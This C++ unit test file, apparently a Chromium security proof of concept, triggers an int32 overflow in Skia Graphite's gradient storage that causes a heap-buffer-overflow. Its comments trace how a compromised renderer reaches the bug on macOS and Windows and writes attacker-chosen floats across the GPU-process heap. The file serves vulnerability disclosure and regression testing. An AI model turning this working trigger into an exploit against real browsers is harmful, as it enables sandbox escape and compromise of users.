// Copyright 2024 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// Unit test demonstrating int32 overflow in
// skgpu::graphite::FloatStorageManager::allocateGradientData (PipelineData.h).
//
// The expression `numStops * 5` overflows int32 when numStops >= 429,496,730.
// The negative result is passed to SkTDArray<float>::resize(), whose
// SkASSERT(newSize >= 0) is compiled out in release builds, leaving fSize
// negative without reallocating. allocateFloatData() then returns a pointer
// inside the small prior allocation, and the caller
// (write_color_and_offset_bufdata in KeyHelpers.cpp) writes numStops*5
// attacker-controlled floats past the end of the heap allocation.
//
// In production this is reachable from a compromised renderer on macOS
// (Graphite + Metal default-enabled, gradientBufferSupport()==true) and on
// Windows via Dawn/D3D. On Linux, Dawn/Vulkan disables fStorageBufferSupport
// so the storage-buffer gradient path is not taken; this unit test exercises
// the vulnerable function directly.

#ifdef UNSAFE_BUFFERS_BUILD
// The replicated write loop below intentionally mirrors the unchecked
// pointer arithmetic in third_party/skia/.../KeyHelpers.cpp.
#pragma allow_unsafe_buffers
#endif

#include <vector>

#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/skia/include/core/SkColor.h"
#include "third_party/skia/include/core/SkPoint.h"
#include "third_party/skia/include/core/SkRefCnt.h"
#include "third_party/skia/include/core/SkTileMode.h"
#include "third_party/skia/include/effects/SkGradient.h"
#include "third_party/skia/src/gpu/graphite/PipelineData.h"
#include "third_party/skia/src/shaders/gradients/SkGradientBaseShader.h"
#include "third_party/skia/src/shaders/gradients/SkLinearGradient.h"

namespace {

sk_sp<SkLinearGradient> MakeLinear(int n) {
  SkPoint pts[2] = {{0, 0}, {100, 0}};
  std::vector<SkColor4f> c(n, SkColors::kRed);
  SkGradient grad(SkGradient::Colors(SkSpan(c), SkTileMode::kClamp),
                  SkGradient::Interpolation{});
  return sk_make_sp<SkLinearGradient>(pts, grad);
}

// Mirror of the file-static write_color_and_offset_bufdata in
// KeyHelpers.cpp:292-315. The SrcColors/SrcOffsets it receives in production
// come from the attacker via cc::PaintShader -> PaintOpReader ->
// SkGradientBaseShader -> add_gradient_to_key.
void WriteColorAndOffsetBufData(int num_stops,
                                const SkPMColor4f* colors,
                                const float* offsets,
                                const SkGradientBaseShader* shader,
                                skgpu::graphite::FloatStorageManager* mgr) {
  auto [dst_data, buffer_offset] = mgr->allocateGradientData(num_stops, shader);
  if (!dst_data) {
    return;
  }
  for (int i = 0, color_idx = num_stops; i < num_stops; i++, color_idx += 4) {
    float offset =
        offsets ? offsets[i] : static_cast<float>(i) / (num_stops - 1);
    dst_data[i] = offset;
    dst_data[color_idx + 0] = colors[i].fR;
    dst_data[color_idx + 1] = colors[i].fG;
    dst_data[color_idx + 2] = colors[i].fB;
    dst_data[color_idx + 3] = colors[i].fA;
  }
}

}  // namespace

// Triggers a heap-buffer-overflow under ASAN. In a non-ASAN release build the
// loop silently writes ~8.6 GiB of attacker-chosen floats across the
// GPU-process heap.
TEST(GraphiteGradientOverflowTest, NumStopsTimesFiveOverflow) {
  // Two distinct gradient shaders so the FloatStorageManager cache doesn't
  // dedupe by uniqueID(). Their actual stop counts are irrelevant; the
  // vulnerable function takes numStops as a separate parameter (in production
  // it equals SkColor4fXformer.fColors.size() of the deserialized shader).
  sk_sp<SkLinearGradient> g1 = MakeLinear(9);
  sk_sp<SkLinearGradient> g2 = MakeLinear(10);
  ASSERT_TRUE(g1 && g2);

  skgpu::graphite::FloatStorageManager mgr;

  // Step 1: Prime the storage with a small gradient (>8 stops takes the
  // storage-buffer path on Metal/D3D). 9 stops -> allocateFloatData(45) ->
  // SkTDArray heap-allocates ~57 floats (~228 bytes).
  SkPMColor4f small_colors[9] = {};
  WriteColorAndOffsetBufData(9, small_colors, nullptr, g1.get(), &mgr);

  // Step 2: Second gradient with 430,000,000 stops.
  // allocateGradientData computes 430000000 * 5 = 2,150,000,000 which
  // overflows int32 to -2,144,967,296. allocateFloatData then calls
  // resize(45 + (-2144967296)) = resize(-2144967251).
  // SkTDStorage::resize: SkASSERT(newSize>=0) is a no-op in release;
  // (-2144967251 > capacity) is false so reserve() is skipped; fSize is set
  // negative without reallocating. allocateGradientData returns begin()+45
  // pointing inside the 57-float allocation.
  //
  // The write loop then runs i=0..430M-1 writing dst_data[i] (offsets) and
  // dst_data[430M+4i..] (colors). The first iteration writes dst_data[0]
  // (in-bounds at begin()+45) then dst_data[430000000] which is ~1.7 GiB past
  // the 228-byte allocation: heap-buffer-overflow / wild write.
  constexpr int kHugeStops = 430000000;
  // The production caller passes the deserialized colors[] of length
  // kHugeStops (~6.9 GiB). We allocate it for fidelity since the host has
  // ample RAM; the OOB write fires before more than one element is read.
  std::vector<SkPMColor4f> huge_colors(static_cast<size_t>(kHugeStops),
                                       SkPMColor4f{0.5f, 0.5f, 0.5f, 1.0f});
  WriteColorAndOffsetBufData(kHugeStops, huge_colors.data(), nullptr, g2.get(),
                             &mgr);

  // Not reached under ASAN.
  FAIL() << "Expected heap-buffer-overflow was not detected";
}

// Same overflow, but exercises only the linear `dstData[i] = offset` half of
// the production write loop so that ASAN reports a clean heap-buffer-overflow
// at the redzone immediately past the under-sized allocation (instead of a
// wild SEGV 1.7 GiB away from the colors[colorIdx] half). In production both
// streams of writes execute and the linear stream silently corrupts adjacent
// GPU-process heap allocations.
TEST(GraphiteGradientOverflowTest, NumStopsTimesFiveOverflowRedzone) {
  sk_sp<SkLinearGradient> g1 = MakeLinear(9);
  sk_sp<SkLinearGradient> g2 = MakeLinear(10);
  ASSERT_TRUE(g1 && g2);

  skgpu::graphite::FloatStorageManager mgr;

  // Prime: 9 stops -> 45 floats, capacity ~57.
  auto [p1, off1] = mgr.allocateGradientData(9, g1.get());
  ASSERT_NE(p1, nullptr);
  for (int i = 0; i < 45; ++i) {
    p1[i] = 0.0f;
  }

  // Overflow: 430M*5 wraps negative -> resize(negative) -> no realloc.
  constexpr int kHugeStops = 430000000;
  auto [p2, off2] = mgr.allocateGradientData(kHugeStops, g2.get());
  ASSERT_NE(p2, nullptr);
  EXPECT_EQ(off2, 45);
  // p2 == fGradientStorage.begin() + 45, backed by ~57 floats.
  // Writing kHugeStops linear offsets walks straight past the allocation.
  for (int i = 0; i < kHugeStops; ++i) {
    p2[i] = static_cast<float>(i) /
            static_cast<float>(kHugeStops - 1);  // heap-buffer-overflow
  }

  FAIL() << "Expected heap-buffer-overflow was not detected";
}